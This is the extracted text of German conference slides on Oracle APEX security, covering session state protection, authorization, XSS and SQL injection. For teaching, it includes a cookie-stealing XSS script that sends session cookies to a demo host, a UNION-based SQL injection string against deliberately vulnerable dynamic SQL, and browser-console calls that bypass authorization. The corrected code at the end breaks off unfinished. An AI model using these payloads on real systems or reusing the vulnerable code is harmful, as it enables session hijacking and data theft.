APEX Security – wie sicher sind Ihre APEX … · ... ein Buch in Deutsch und eins in ... der Daten und der Interaktion gut genug ist, ist auch eine Anwendung sicher. 24 ... Schutzt

119.11.2014

APEX Security – wie sicher sind Ihre APEX Anwendungen?Denes Kubicek – DOAG November 2014

2

Denes Kubicek

19.11.2014

• Um es kurz zu halten:

• Mein Name ist Denes Kubicek – geboren 1965 in Kroatien.

• Ich bin seit acht Jahren selbständig und arbeite ausschließlich an APEX und PL/SQL Projekten.

• APEX Entwickler des Jahres 2008.

• Oracle ACE Director.

• Zu meinen Kunden zählen viele Unternehmen (bisher etwa 50) aus dem Inland und Ausland (BASF, Telekom, Bosch, Postbank, Interseroh und viele andere).

• Ich bin im APEX Forum tätig und habe dort über 6000 Mal gepostet.

• Ich habe an zwei Büchern mitgearbeitet – ein Buch in Deutsch und eins in Englisch.

• Ich habe auch einen eigenen Blog zum Thema APEX

http://www.deneskubicek.blogspot.de/

• Man kann mich jederzeit erreichen und ich antworte garantiert:

[email protected]

http://www.deneskubicek.blogspot.de/

mailto:[email protected]

3

Denes Kubicek

19.11.2014

4

APEX Security – Über Security

19.11.2014

• Bevor wir anfangen:

• Ich verwende meistens die englischen Namen für die APEX Komponenten.

• Ich rede viel und zeige nicht viele Bilder.

• Alles wovon ich rede ist auch aufgeschrieben.

• Ich zeige auch einige Beispiele in diesem Vortrag.

• Wenn die Zeit es erlaubt, können ich am Ende des Vortrags Ihre Fragen beantworten (weniger wahrscheinlich).

• Sonst bin ich auch nachher erreichbar über meine Emailadresse und beantworte Ihre Fragen gerne:

[email protected]

mailto:[email protected]

5


19.11.2014

• Wenn man über Security in APEX spricht, bedeutet das nicht, dass APEX unsicher ist und irgendwelche Sicherheitslücken hat.

• Solche Gerüchte werden gerne verbreitet. Die sind pauschal und unbegründet.

• APEX hat keine Sicherheitslücken, die man in der Öffentlichkeit bekanntmachen und dadurch punkten kann.

• Wie bei allen anderen Tools, die die selbe Technologie nutzen, gibt es Möglichkeiten Schwachstellen in einer Anwendung zu „programmieren“.

• Auch bei APEX sitzt das Problem…

• Wenn es in APEX-Anwendungen Sicherheitsprobleme gibt, dann sind diese ein Ergebniss der Umstände – meistens entstehen die Sicherheitslücken als Ergebniss einer Ereigniskette.

• Die Vorgehensweise und APEX-Wissen eines Entwicklers sind dabei von entscheidender Bedeutung.

6


19.11.2014

• APEX hat in der Version 4.1 und 4.2 mehrere große Scrhitte in Richtung Sicherheit gemacht.

• In früheren Versionen von APEX war es z.B. möglich die sog. Hidden Items zu manipulieren.

• Seit der Version 4.1 ist das nicht mehr möglich.

• APEX ist genauso sicher, wie die Datenbank selbst.

• Sicherheitsmassnahmen sind keine Higlights – wenn Sie Sicherheitsmassnahmen ergreifen, bekommen Sie keine sichtbaren Verbesserungen in Ihren Applikationen.

• Sie bekommen dafür auch kein Lob.

• Sie erreichen dadurch nur, dass Ihre Anwendung nicht manipuliert werden kann.

• Eine Anwendung is auf einer Seite nie sicher genug. Auf der anderen Seite benötigt nicht jede Anwendung braucht die gleiche Sicherheitsstufe.

• Auch hier gilt die 80:20 Regel.

7

APEX Security

19.11.2014

Session State Protection Settings für Page Items, Application Items und Seiten

8

Session State Protection

19.11.2014

• Items in APEX sind auf einer Seite definiert or als Application Items in Shared Components.

• Page Items sind Form-Elemente. Man kann diese im HTML-Code einer Seite finden (text box, select list, hidden).

• Application Items werden nirgendwo angezeigt. Man kann diese als Server-Side-Variablen verstehen.

9


19.11.2014

• Wir können im APEX folgende Elemente im Session State schützen:

• Seiten

• Page Items (edit, display, read-only)

• Application Items

• Uns stehen fünf verschiedene Möglichekeiten zur Verfügung die Items zu schützen:

• Unrestricted

• Checksum Required:

• Application,

• Session und

• User Level

• May not be set from Browser

10


19.11.2014

• Es gibt zudem auch vier verschiedene Sicherheitsstufen für die Seiten:

• Unrestricted

• Arguments must have Checksum

• No Arguments allowed

• No URL Access

11


19.11.2014

• Nicht alle Kombinationen der Optionen machen Sinn.

• “Restricted – May not be set from browser“ macht viel Sinn für die Application Items. Warum?

• “Checksum Required” macht immer Sinn bei den Application Items.

• “Checksum Required” macht Sinn für die Page Items, die für die Speicherung der Key-Werte benutzt werden.

• “No URL Acces” macht Sinn für die Seiten, die nicht über die URL angesprochen werden und zuerst von den anderen Seiten aufgerufen werden müssen – Wizard, Workflow…

12


19.11.2014

• BITTE AUFPASSEN! Globale Einstellungen unter Shared Components / Session State Protection > Configure werden alle Items in Ihrer Anwendungen auf einmal ändern.

• Setzen Sie diese Einstellung bevor Sie mit der Entwicklung anfangen oder in Ihrer Template-Anwendung.

13


19.11.2014

• Schauen Sie auf die Auflistung der Application Items in ihren Anwendungen.

• Wenn es wie folgt ausschaut, dann haben Sie ein (mehrere) Problem(e).

• Und mit aller Wahrscheinlichkeit sieht es danach aus. :)

14


19.11.2014

• Benutzen Sie die APEX Dictionary Views, um den Status abzufragen (und bitte nicht erschrecken) :

SELECT application_id, page_id, item_name, display_as,item_protection_level

FROM apex_application_page_itemsWHERE display_as = 'Hidden'

ORDER BY page_id;

SELECT application_id, item_name, scope, session_state_protectionFROM apex_application_items;

15

APEX Security

19.11.2014

Session State Protection API – URL‘s in SQL

16

Session State Protection API

19.11.2014

• Fall Sie manchmal Ihre URL’s in SQL oder PL/SQL erstellen müssen, steht Ihne die APEX API zur Verfügung (APEX_UTIL).

• Wir sprechen hier von dynamischen URL‘s.

• apex_util.prepare_url API wird eingesetzt, um dynamische und geschützte URL’s mit einer Prüfusumme zu generieren.

• Diese Funktion kennt drei Methoden:

• SESSION oder 3,

• PRIVATE_BOOKMARK oder 2,

• PUBLIC_BOOKMARK oder 1APEX_UTIL.PREPARE_URL (

p_url IN VARCHAR2,p_url_charset IN VARCHAR2 default null,p_checksum_type IN VARCHAR2 default null)

RETURN VARCHAR2;

17


19.11.2014

• Sie können die APEX API wie folgt anwenden:

CREATE OR REPLACE FUNCTION prepare_apex_url (p_client_sk IN NUMBER, p_bcn_sk IN NUMBER

)RETURN VARCHAR2

ISv_url_prefix VARCHAR2 (400) := tools.get_optionvalue ('SERVER_URL');v_app NUMBER := v ('APP_ID');v_session NUMBER := v ('APP_SESSION');v_url VARCHAR2 (4000)

:= 'f?p='|| v_app || ':302:'|| v_session|| '::NO:302:T_CLIENT_SK,P302_BCN_SK:'|| p_client_sk|| ','|| p_bcn_sk|| '';

BEGINv_url :=

apex_util.prepare_url (p_url => v_url,p_checksum_type => 'PUBLIC_BOOKMARK');

v_url := v_url_prefix || v_url;RETURN (v_url);

END get_contract_link;

18


19.11.2014

• APEX ist so “schlau” und erkennt ob eine Zielseite entsprechend geschützt ist.

• Die Erstellung der Prüfusumme wird entsprechend aktiviert oder deaktiviert.

• Gilt für beide Einstellungen – Standardeinstellung oder dynamische URL‘s.

19

APEX Security

19.11.2014

Hidden Items / Display Only Items / Read Only Items

20

Hidden Items (Display- und Read-Only)

19.11.2014

• Ein guter Schutz für die Hidden Items erschien in der APEX Version 4.0.

• Davor war es möglich Hidden Items zu manipulieren da “Expected Checksum” in der Fehlermeldung ausgegeben wurde.

• Ein zusätzlicher Schutz kam mit der Version 4.1 für die:

• Display Only Items

• Conditional Read Only Items

• Seitdem gibt es die Möglichkeit „Save Session State“ für Display Only Items zu setzen.

• „Read Only“ ist dagegen wie die Bezeichnung sagt – Read Only.

21


19.11.2014

• Viele Anwendungen laufen nach einem Upgrade von 4.0 auf 4.1 nicht mehr richtig.

• Häufig sind das folgende Probleme:

• Session Management (Join Session),

• Dynamic Actions, die Display Only und Read Only Items ansprechen,

• Verschiedene Plugins laufen nicht, die für die früheren Versionen von APEX ausgerichtet waren.

• „Display Only“ muss die Option „Save Session State“ auf „No“ gesetzt haben.

• Keine Möglichkeit „Read Only“ Items zu manipulieren und anschließend speichern.

• Der Schutz der Items läuft wie folgt ab:

• Beim Aufruf der Seite wird für ein Item eine Prüfsumme generiert und in der Datenbank gespeichert.

• Beim Speichern der Seite wird eine neue Prüfsumme erstellt und mit der ursprünglichen verglichen.

• Gibt es dabei Unterschiede, wir eine “unschöne” Fehlermeldung angezeigt.

22


19.11.2014

• Fehlermeldung beim Versuch geschützte Elemente zu manipulieren:

23

Validierungen und Item Protection

19.11.2014

• In der Natur der Web-Anwendungen liegt die Tatsache, dass der Benutzer-Input zuerst geprüft werden muss, da man ihm generell nicht trauen kann.

• Wenn es eine Interaktion der Benutzer mit einer Webseite gibt, müssen die Daten, die gespeichert werden sollen zuerst validiert werden (Formate, Inhalte).

• Teoretisch, müssen gar keine Standardmechanismen von APEX eingesetzt werden, um sichere Anwendungen zu programmieren.

• Wenn die Validierung der Daten und der Interaktion gut genug ist, ist auch eine Anwendung sicher.

24


19.11.2014

• Viele Tools, die nicht so gut mit Standardmechanismen ausgestattet sind, müssen alles validieren.

• Trotzdem, in APEX ist dies nicht notwending, da für fast alles bereits Standardkomponenten existieren.

25


19.11.2014

• Hidden Items haben eine Einstellung “Value Protected.” Die Hilfe für diese Einstellung erklärt es: “Specifying Yes will prevent the hidden value from being manipulated when the page is posted.”

• Hidden Items wird somit nach einem Post vom Server geprüft und somit wird sichergestellt, dass es keine Manipulation gibt.

• Das gilt auch für die Dynamic Actions, die versuchen Hidden Items in Session State abzuspeichern.

26


19.11.2014

• Trotzdem, diese Einstellungen verhindern die Manipulation der Items durch die Änderungen in der URL – URL tampering:

f?p=1116:3:7342600186507::NO::P3_BP_ID:300

• Wenn wir das Item auf diese Art und Weise setzten, wird eine Prüfsumme ganz normal generiert und auf der Seite im HTML Code gespeichert.

• Sollte die Seite abgespeichert werden, werden die Informationen von APEX akzeptiert. Möglicherweise mit falschen Werten oder Werten, die nicht erlaubt sind.

27


19.11.2014

• Deswegen, müssen wir immer beachten, dass der Schutz “Value Protected” ein besonderer ist: Es erlaubt keine Manipulation der Form vor dem Speichern der Werte.

• Somit macht es Sinn diesen Mechanismus in der Kombination mit den anderen Möglichkeiten, die uns zur Verfügung stehen z.B. Session State Protection.

28

APEX Security

19.11.2014

Page Access Protection

29


19.11.2014

• Page Access Protection Einstellungen in dem Security Tab kann auf verschiendene Stufen gesetzt werden, je nach dem, wie wir unsere Seite schützten müssen.

• Default ist auf Unrestricted gesetzt.

30


19.11.2014

• Sowohl die Page Items als auch die Application Items haben eine Option für den Schutz – Session State Protection.

• Session State Protection (SSP) ist der Weg die Items in einer Anwendung zu schützen. Das ist ein wenig schwieriger zu verstehen, da dieser Schutz zusammen mit Page Access Protection und Value Protected genutzt werden muss, um zum Ziel zu kommen. Nur so, kann der komplette Schutz aber erreicht werden.

• Um zu verstehen, welchen Schutzt man wann benötigt, müssen die Items in Gruppen aufgeteilt werden:

• Server-side Items (Application Items)

• User-input Items (benutzt in einer form Form für User-Input)

• Display Items (Items die wir dann einsetzen, wenn wir etwas anzeigen möchten)

• Items die wir dafür benutzen, um Informationen zu speichern und diese auf den anderen Seiten / Prozessen benutzen

31


19.11.2014

• Wichtig zu wissen:

• Session State Protection hindert die PL/SQL Prozesse auf der Server-Seite nicht von der Änderung. Unsere Programmlogik wird weiterhin funktionieren. Dieser Schutzt ist nur dafür da, um uns vor der Manipulation über Browser zu schützen!

32

APEX Security

19.11.2014

AJAX (Dynamic Actions) und Item Protection

33

AJAX und Item Protection

19.11.2014

• Wenn Session State Protection aktiviert und gesetzt ist für alle Items, die es erfordern, und Ihre Hidden Items gut geschützt ist durch den Schutz der Hidden Items, die Anwendung hat einen sehr guten Stand bezüglich Sicherheit erreicht und ist wahrscheinlich schon sehr gut gegen Manipulation geschützt.

• Nun, dieser Schutz verursacht ein potenzielles Problem: wenn Ajax angewendet wird, um die Werte der Items auf der Seite zu setzen.

• Ajax-Aufrufe werden die Session State Protection verletzen und wir bekommen häßliche Fehlermeldungen zu sehen, da es nicht möglich ist über Ajax den Session Stete für geschützte Elemente zu setzen – Get or Post.

• Uns bleibt dann nur noch dre Weg solche Items auf Unprotected zu setzen.

• Wenn wir das tun, müssen wir gleichzeitig daran denken, zusätzliche Schutzmechanismen in unserer Anwendung einzubauen.

34

AJAX und Item Protection

19.11.2014

• Fehlermeldung beim Versuch Session State durch Ajax zu setzen:

35

APEX Security

19.11.2014

Beispiele der Sicherheitslücken im Bezug auf Session State Protection und Items

36

Beispiele der Sicherheitslücken

19.11.2014

• Authorization Bypass

• URL Tampering

• Dynamic Action Bypass und Manipulation des Page Source Code

• File Download (public Link und Application Process)

37


19.11.2014

• Authorization Bypass entsteht (wie alle anderen Sicherheitslücken) unter bestimmten Umständen.

38


19.11.2014

• Da wir die Information für die Authorizierung in einem Application Item speichern, der nicht ausreichend geschützt ist, kann der Wert jederzeit angepasst werden.

39


19.11.2014

• URL Tampering ist der häufigste Weg und die einfachste Möglichkeit sich Informationen zu verschaffen, die möglicherweise geschützt bleiben sollten.

• Dieser Bericht sollte nur ein Teil der Information an den Benutzer liefern.

40


19.11.2014

• Wenn unsere Benutzer Forschungstypen sind, werden Sie früher oder später merken, wie leicht es ist ein URL Link zu manipulieren.

• Vergessen Sie bitte nicht, dass heute für solche Attacken und Suche nach Schwachstellen Maschienen eingesetzt werden, die keine Geduld haben müssen.

41


19.11.2014

• Dynamic Action Bypass und Manipulation des Page Source Code

42


19.11.2014

• Dieser Bericht zeigt ebenfalls nur ein Teil der Informationen. Die Werte werden über eine Dynamic Action gelöscht.

• Da die Werte im HTML Code der Seite jederzeit modifiziert werden können, kann ein beliebiger Wert eingetragen werden.

• Wenn der Löschprozess (PL/SQL) nicht ausreichend „geschützt“ wurde, kann es dazu kommen, dass Informationen gelöscht werden könenn, die der Benutzer nicht löschen darf.

43


19.11.2014

• Das Gleiche gilt auch für Download der Files in einer Anwendung.

• Publich Procedure ist sehr unsicher und sollte nicht genutzt werden.

• Anwendungsprozess ist der richtige Wege. Dort muss der Application Item, der für die Vermittlung der ID zuständig ist, ausreichend geschützt werden.

• In 95% der Fälle ist das nicht so.

• Prüfen Sie das selbst in Ihren Anwendungen.

44

APEX Security

19.11.2014

Page und Regions Read Only

45


19.11.2014

• Seit APEX 4.1 kann man für Seiten oder Regionen „Read Only“ Modus einsetzen.

• Bedeutet, dass nicht nur einzelne Items sonder auch Seiten bzw. Regionen als Read Only angezeigt werden können.

• Das ist der einfachere Weg und spart die Zeit.

• Nun, die Wahrheit liegt irgendwo dazwischen.

• Wir werden meistens nicht alles auf der Seite gleich behandeln.

• Auch innerhalb einer Region werden nicht alle Items in Read Only Modus gesezt.

• Hier hilft die Möglichkeit Regionen ineinander zu verschachteln und simit die Items zu grupieren.

46


19.11.2014

• Bevor Sie solche Anwendungen zu Ihren Usern schicken, prüfen Sie die Auswirkungen auf das Layout.

• APEX wird ein Standard-Layout nutzen, wenn Sie die Items auf Read Only setzen. Das wird nicht immer dem entsprechen, was Sie erwarten.

• Sie können relativ leicht und jederzeit jQuery und CSS einsetzen, um es schnell soweit zu bringen.

• Wichtig! Wenn ein Item auf „Read Only“ gesetzt ist, wird APEX ein SUFFIX „_DISPLAY“ dem Item hinzufügen und ein neues geschütztes und verstecktes Item auf der Seite erstellen.

47


19.11.2014

• jQuery für das Ändern der Attribute eines bestimmen Elements:

• CSS für die Seite 0:

• Andere Methoden – generisch:

$('#P3_BP_DESC_DISPLAY').attr("readonly","readonly").css({"font-weight":"bold","color":"#ccc","display":"block","width":"200px"})

.display_only {font-weight:bold; color: #ccc; display: block; width: 200px}

$('[id*=_DISPLAY]').css({"font-weight":"bold","color":"#ccc","display":"block","width":"200px"})$('.display_only').css({"font-weight":"bold","color":"#ccc","display":"block","width":"200px"})

48


19.11.2014

49

APEX Security

19.11.2014

No URL Access for Pages – wie schütze ich eine Seite vor URL Manipulation?

50

No URL Access for Pages

19.11.2014

• In manchen Situationen benötigen wir einen besonderen Schutz für unsere Seiten.

• Für diese Zwecke ist „No URL access“ unter Security – Page Access Protection da.

• Wenn wir es anwenden, ist es nicht mehr mögich durch die Änderung der Seitennummer auf die Seite zu gelangen.

51


19.11.2014

• Wenn wir es versuchen, bekommen wir folgende Meldung.

52


19.11.2014

• Der einzige Weg auf die Seite zu kommen ist über „Branch to Page“ ohne Redirect.

53


19.11.2014

• Wenn wir auf die Seite kommen, werden wir einen Unterschied im URL Link sehen.

54


19.11.2014

• APEX Builder benutzt dieses Vorgehen in den Wizards.

55

APEX Security

19.11.2014

Browser Security – Embeded in Frames

56

Embeded in Frames

19.11.2014

• Seit der Version APEX 4.2 ist es notwendig die Option “Embeded in Frames” explizit zu aktivieren, da sonst manche Plugins, die als Frames angezeigt werden, nicht mehr funktionieren – Modal Window Plugin.

57

Embeded in Frames

19.11.2014

• APEX wird sonst die Anzeige von Frames standardmäßig ablehnen.

• Diese Funktion hat drei Optionen:

• Deny

• Allow from the same origin

• Allow

58

APEX Security

19.11.2014

Delay after failed login

59


19.11.2014

• Das ist ein neues Feature und es ist dafür da, um uns gegen die maschinellen Attacken zu schützen.

• Nach dem ein Login ohne Erfolg durchgeführt wurde, wir der nächste Versuch um die einstellbare Anzahl der Sekunden verzögert. Bei jedem weiteren Versuch, werden die Sekunden darauf addiert.

• INTERNAL / ADMIN > Instance Settings / Security.

60


19.11.2014

• Die Methode für die Ermittlung der Verzögerung kann auch gewählt werden.

61

APEX Security

19.11.2014

Deep Linking

62

Deep Linking

19.11.2014

• APEX unterstützt Deep-Linking als Default.

• Möglicherweise benötigen Sie dieses Feature nicht und wollen es deaktivieren? Dann kann dies unter Application Definition > Security gemacht werden.

• Wenn die Einstellung nicht generell gelten soll, kann auf der Seitenebene eine Ausnahme definiert werden.

• Häufig werden Anwendungen so programmiert:

• Der Benutzer logt sich ein.

• Wird auf eine Seite geleitet.

• Dort werden bestimmte Parameter gesetzt und…

• …da geht es schon los.

63

Deep Linking

19.11.2014

• Wenn Sie nach dem Login bestimmte Parameter in einer Anwendung setzen müssen, benutzen Sie Application Processes oder noch besser Post-Login Processing.

• Tun Sie das nie auf der Seitenebene.

• Durch das Deep Linking ist es nicht sichergestellt, dass Ihre Benutzer dort landen, wo Sie sie haben möchten.

64

Deep Linking

19.11.2014

• Anwendungsebene und …:

65

Deep Linking

19.11.2014

• …definierte Ausnahmen auf der Seite:

66

APEX Security

19.11.2014

Session Timeout

67

Session Timeout

19.11.2014

• Session Timeout ist ein wichtiges Security Feature.

• Seit APEX (4.1und 4.2) kann dies auch auf der Anwendunsebene gesetzt werden.

• Wenn Sie nichts setzen, werden globale Einstellungen gezogen.

• Das Ziel ist es die Daten und die Benutzer zu schützen.

• Das wichtigste Feature ist „Maximum Session Idle Time in Seconds” das dann zieht, wenn keine Aktivitäten in der Session stattfinden.

68

Session Timeout

19.11.2014

• Globale Einstellungen:

69

Session Timeout

19.11.2014

• Lokale Einstellungen:

70

APEX Security

19.11.2014

Session State Encryption

71


19.11.2014

• Ebenfalls seit 4.2 kann „Session State Encryption“ eingesetzt werden:

• Kreditkarten

• Andere sensible Daten…

• Identisch mit der Anzeige der Passwörter.

• Gültig nur für die Session State Werte.

• Die Daten in der Tabelle sind immer noch unverschlüsselt.

• Wichtig dann, wenn Entwickler Debugging über eine produktive Session durchführen.

72


19.11.2014

• Diese Einstellung kann in den Item Einstellungen > Security > Store value encrypted in session state gesetzt werden.

73


19.11.2014

• Und so sieht es aus, wenn man die Werte in Session State anschaut.

74

APEX Security

19.11.2014

Authentication und Authorization

75


19.11.2014

• Wenn wir Authentifizierung und Authorizierung nicht richtig angewendet wurde, ein Benutzer ohne der entsprechenden Rechten kann auf die Seiten / Daten gelangen, die für ihn nicht vorgesehen sind.

• Auch registrierte Benutzer (die Böses wollen) können bestimmte Prozesse ausführen und dadurch Daten ausspähen oder vernichten.

• Eine APEX Anwendung wächst mit der Zeit – das ist meistens der Fall. Häufig müssen gewisse Erweiterungen schnell umgesetzt werden und dabei wird Sicherheit nicht sonderlich beachtet.

76


19.11.2014

• Authentifizierung wird auf der Seitenebene eingerichtet. Standardmäßig ist eine neue Seite auf “Page Requires Authentication” eingestellt. Sollte eine Seite Public sein, muss dies explizit eingerichtet werden.

77


19.11.2014

• Diese Einstellung sagt nur, ob ein User sich anmelden muss (Username / Passwort), um auf die Seite kommen zu können. Wenn dies nicht erforderlich ist, sprechen wir von einer Public-Seite.

• Normalerweise, erfordert eine Anwendung nur eine Public-Seite – die Loginseite. Wenn wir mehrere haben ist das auch kein Problem, solange diese Seiten tatsächlich nur Informationen und Prozesse beinhalten, die für die Öffentlichkeit zugänglich sein sollten.

• Wir wissen, dass man die Seiten in APEX relativ leicht ermitteln kann. Eine Maschine kann dies sehr schnell durchführen und herausfinden, wie viele Public-Seiten wir in der Anwendung haben, um diese dann für einen mögichen Angrif zu nutzen.

• Somit gilt das “Verstecken” der Seiten nicht als eine Option.

• Wenn wir die Anzahl der Public-Seiten reduzieren, reduzieren wir auch die Angrifsfläche.

78


19.11.2014

• Authentifizierung ist nur der erste Schritt in Sachen Sicherheit.

• Und das Leben ist kompliziert. Nach der Authentifizierung müssen wir prüfen, ob ein registrierter Benutzer die entsprechende Rechte hat eine oder die andere Funktionalität unserer Anwendung zu nutzen.

• Es gibt kaum Anwendungen, die nicht zwischen den Benutzern unterscheidet.

• In APEX ist das Authorizierung, die sehr leicht an alle Komponenten (Seiten, Items, Buttons, Prozesse) angehängt werden kann.

• Manchmal muss man sogar die Authorisierung mit der Option „Once per Page View“ nutzen, weil sich die Daten im Laufe einer Session ändern können.

79


19.11.2014

• Gleichzeitig müssen wir auch an die Performance denken.

• Eine Authorisierung “Once per Session” auszuführen is performanter.

• Manchmal muss eine Authorisierung auch im PL/SQL oder SQL Code geprüft werden.

• In diesem Falle hilft uns die APEX API, die uns die gecachten Werte liefern kann:

BEGINRETURN apex_util.public_check_authorization ('ADMIN');

END;

80


19.11.2014

• Häufig anzutreffen ist der Fall, dass wir auf einer Seite Prozesse haben, die durch ein Button angestoßen werden. Diese Prozesse müssen in den meisten Fällen von authorisierten Benutzern ausgeführt werden.

• In den meisten Fällen (das können Sie auf Ihren eigenen Anwendungen prüfen), dass nur die Buttons authorisiert werden.

• Da die Buttons nichts weiter als Requests sind, ist dieser Schutz nicht ausreichend.

• Ein Button-Request kann man leicht im Browser simulieren.

81


19.11.2014

• Wenn ein Button authorisiert ist, die Erstellung / Änderung der Daten ist immer noch möglich, wenn der dazugehörige Prozess nicht geschützt ist. Dieser Schutz müsste entweder durch eine Authorisierung oder duch eine Validierung erfolgen.

• Im Browser kann ein Button wie folgt simuliert werden:

apex.submit('CREATE')

82


19.11.2014

• Das einzige Problem für einen Angreifer hier ist, dass er raten müsste, wie die ID des Buttons ist. Das ist meistens aber nicht schwierig zu erraten. Im Code ist das natürlich nicht sichtbar.

• Wir können uns also auf diesen Fakt nicht verlassen, da man durch die möglichen Namen einfach loopen kann und früher oder später findet man es heraus.

83


19.11.2014

• Ein ähnlicher Angriff auf die Dynamic Actions ist ebenfalls möglich. Das Verstecken eines Elements, dass die Dynamic Action antriggert sichert die Anwendung nicht vor einem Angriff.

• Eine Dynamic Action die durch eine Authorisierung gesichert ist, bedeutet dass Javascript für die Ausführung nicht auf der Seite gerendert wird.

• Auch wenn dieser Code irgendwie erraten und geschrieben werden könnte ist das immer noch nicht einfach, da eine Dynamic Action durch einen komplexen String identifizierte werden müsste:

• "ajaxIdentifier":"BB75958026C755BB6D3513BCED15DE7E2BC8DC660B3E30EC2BBCBDC2A67F8CE3 “

• Dieser Wert wird durch den sog. Advanced Encryption Standard (AES) Algorithmus erstellt bei dem der Schlüsselwert vom Server verwaltet werden.

84


19.11.2014

• Das Verstecken der Elemente hilft bei einer Dynamic Action ebenfalls nicht:

$('#P3_BP_IS_SUPPLIER').trigger('change');

85


19.11.2014

• Nicht nur die Seiten-Prozesse und Dynamic Actions müssen entsprechend geschützt werden.

• Berechnungen (Computations), Anwendungsprozesse und On Demand-Prozesse müssen ebenfalls abgesichert werden.

• Ein On Demand Prozess kann leicht durch die URL agesprochen werden:

• f?p=1600:1:0:APPLICATION_PROCESS=PrintUserRoles:::

86


19.11.2014

• Wir können in der Console auch ein Ajax-Aufruf starten:

var get = new htmldb_Get(null,$x('pFlowId').value, 'APPLICATION_PROCESS=PrintUserRoles',$x('pPageId').value);get.get();

87


19.11.2014

• Manche APEX Anwendungen könnten ungeschützte On Demand Prozesse haben, die Benutzeraccounts listen, emails senden or sogar PL/SQL Code beinhalten, der für die SQL Injection genutzt werden kann. Dadurch könnten potenzielle Angreifen die Kontrolle über eine Datenbank ergreifen.

• Die Lösung ist denkbar einfach – wir müssen sicherstellen, dass alle Prozesse in unserer Anwendung entsprechend mit einer Authorisierung geschützt werden.

88

APEX Security

19.11.2014

Authorization / Security and Performance

89

APEX Security

19.11.2014

Cross Site Scripting und Restricted Characters in Session State

90

Cross Site Scripting

19.11.2014

• Cross Site Scripting bedeutet Ausführung von unerwünschtem Javascript auf der Client-Seite.

• Besonders gefährlich wenn Session Cookies als Zielobjekt.

<script>window.location = 'http://dkubicek-pc:8089/ords/f?p=1602:1:0::NO::P1_SESSION_COOKIE:' + document.cookie;</script>

91


19.11.2014

• Cross Site Scripting ist einfacher als man denkt.

• Es gibt generell zwei Arten davon:

• Reflective Cross-Site Scripting (Benutzer muss einen Link aufrufen)

• Stored Cross-SiteScripting

• Stored Cross-SiteScripting ist für uns besonders interessant.

• Damit das möglich ist, muss der Angreifer Informationen speichern können, die in Form von Javascript geschrieben werden. Diese Informationen sind dann gefährlich, wenn auf der Seite ohne Escaping angezeigt werden.

92


19.11.2014

• Was kann man damit anstellen?

• Eine gefälschte Loginseite dem Benutzer anzeigen und ihn dazu bringen, sein Benutzername / Passwort einzutippen.

• Seine Berechtigungen missbrauchen.

• Den Browser des Opfers dazu zu bringen Informationen (Emails) an andere Kontakte zu schicken. Diese Informationen könnten gefälschte Links beinhalten.

• Den Benutzer weiterleiten auf eine gefälschte Seite, die genauso ausschaut, wie die Originalseite. Danach ist alles möglich.

93


19.11.2014

• APEX 4.0 hat deswegen die Anzeige der Spalten im Report von “Standard” to “Display as Text (escape special characters) geändert.

• So wird zumindest im Default das Cross Site Scripting unmöglich gemacht – gilt nicht für die älteren Anwendungen.

• Wenn Sie die Möglichkeiten des Cross Site Scriptings komplett unterbinden möchten, müssen Sie etwas in der Richtung der Datenspeicherung unternehmen.

• Die Struktur des APEX Frameworks bietet an sich nicht so viel Fläche für solche Angriffe, da das Meiste durch die automatische Generierung des Codes erstellt wird. Das ist in anderen Frameworks nicht so.

• Nur dort, wo Entwickler ihren eigenen Code scrheiben, muss eine Kontrolle durchgeführt und sichergestellt werden, dass wir keine Schwachstellen haben.

94


19.11.2014

• Seit der APEX Version 4.2 können wir “Restricted Characters in Session State” für die Seitenelemente nutzen.

• Wir haben einige Optionen:

• Alphanummeric Characters Only

• Blacklist for HTML

• Blacklists for Javascript

• Blacklists for SQL Injection

• Es gibt aber keine einfache Lösung (Knopf) mit dem wir sicherstellen, dass keine solche Schwachstellen entstehen.

95


19.11.2014

96


19.11.2014

97


19.11.2014

• In APEX Version 4.2, gibt es auch die API apex_escape Package, die uns verschiedene Methoden für Escaping anbietet:

• html(): ähnlich wie htf.escape_sc()

• html_attribute(): für Tag-Attribute.

• js_literal(): Escaping für JavaScript

• Benutzen Sie diese Funktionen je nach dem wie der Kontext der Nutzung der Daten ist.

98


19.11.2014

SELECT apex_escape.html ('TEST><&') new_42_escapeFROM DUAL

UNION ALLSELECT apex_escape.html_attribute ('TEST><&') new_42_escapeFROM DUAL

UNION ALLSELECT apex_escape.js_literal ('TEST><&') new_42_escapeFROM DUAL;

99


19.11.2014

100

APEX Security

19.11.2014

SQL Injection

101

SQL Injection

19.11.2014

• APEX Anwendungen haben zum Teil sehr viel PL/SQL Code.

• Datenbankabfragen werden im Hintergrund dafür genutzt, um den Inhalte einer Webseite aus der Datenbak zu holen – ähnlich zu allen anderen Frameworks.

• Das Problem it SQL Injection ist, dass die Daten bzw. Abfragen, die von einem Angreifer manipuliert wurden, von der Datenbank als valide Instruktionen interpretiert werden.

• Ein Angreifer könnte somit eine Kommunikation mit der Datenbank aufstellen, die zu Problemen fürhen könnte.

102

SQL Injection

19.11.2014

• Wo kann SQL Injection in APEX stattfinden:

• Dynamic SQL – Execute Immediate

• Dynamic SQL – Cursors

• Dynamic SQL – APEX API

• Function Returning SQL Query

• Substitution Variables

103

SQL Injection

19.11.2014

• Dynamic SQL – Execute Immediate

• This example is on the Page 11 in the Security Application:

DECLAREv_sql VARCHAR2 (4000);

BEGINv_sql :=

'BEGIN DELETE FROM om_suppliers_bkp; '|| 'INSERT INTO om_suppliers_bkp (bp_id, bp_title,

bp_sap_no, bp_desc) SELECT bp_id, bp_title,bp_sap_no, bp_desc

FROM om_suppliers_v WHERE 1 = 1AND UPPER(bp_title) = '

|| CASEWHEN :p11_search IS NULL

THEN 'UPPER (bp_title)'ELSE '''' || UPPER (:p11_search) || ''''

END;v_sql := v_sql || '; END;';

EXECUTE IMMEDIATE (v_sql);END;

104

SQL Injection

19.11.2014

• The Process On Load is supposed to select the list of suppliers and show it in a report:

105

SQL Injection

19.11.2014

• The SQL Injection kann wie folgt ausgeführt werden:

%' UNION ALL SELECT pcat_id bp_id, pcat_title bp_title, pcat_code bp_sap_no, pcat_pt_code bp_desc FROM om_prod_categories; END; --

106

SQL Injection

19.11.2014

• Der Prozess On Load wird ganz andere Daten selektieren und diese in dem Report anzeigen:

107

SQL Injection

19.11.2014

• Die Lösung ist in dieser Funktion markiert:

DECLAREv_sql VARCHAR2 (4000);

BEGINv_sql :=

'BEGIN DELETE FROM om_suppliers_bkp; '|| 'INSERT INTO om_suppliers_bkp (bp_id, bp_title,

bp_sap_no, bp_desc) SELECT bp_id, bp_title,bp_sap_no, bp_desc



THEN 'UPPER (bp_title)'ELSE 'UPPER (:search)'

